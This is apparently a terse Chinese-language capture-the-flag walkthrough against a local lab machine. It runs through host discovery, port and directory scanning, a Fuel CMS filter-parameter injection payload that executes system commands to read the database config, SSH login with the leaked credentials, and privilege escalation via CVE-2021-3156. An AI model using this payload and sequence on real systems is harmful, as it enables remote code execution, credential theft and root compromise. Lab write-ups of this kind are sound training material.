1.信息收集
arp-scan -l
ip 为192.168.48.154
2.端口扫描
nmap -sS -sV -P -O 192.168.48.154
发现开放22,80,111,3306端口
3.目录扫描
dirb http://192.168.48.154
发现扫不到
尝试使用kali的自带字典扫描
dirsearch -u http:/192.168.48.154 -e* -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫到了/structure
4.访问页面
80端口
http://192.168.48.154/structure
发现没有什么东西
继续扫描
dirb http://192.168.48.154/structure
发现目录下存在一个robots.txt文件
访问:http://192.168.48.154/structure/fuel/
对http://192.168.48.154/structure/fuel 进行扫描
发现http://192.168.48.154/structure/fuel/application/ 可以访问
访问http://192.168.48.154/structure/index.php/fuel
尝试读取数据库文件
http://192.168.48.154/structure/index.php/fuel/pages/select/?filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a('cat ./fuel/application/config/database.php')%2B%27
查看页面源代码
发现数据库用户:annaanna'username' => 'anna',
'username => 'anna',
'password' => 'H993hfkNNid5kk'
ssh登录
在desktop上有一个文件
提权
搜索search cve-2021-3156
自动生成一个msf用户
密码miapbpfaattcyse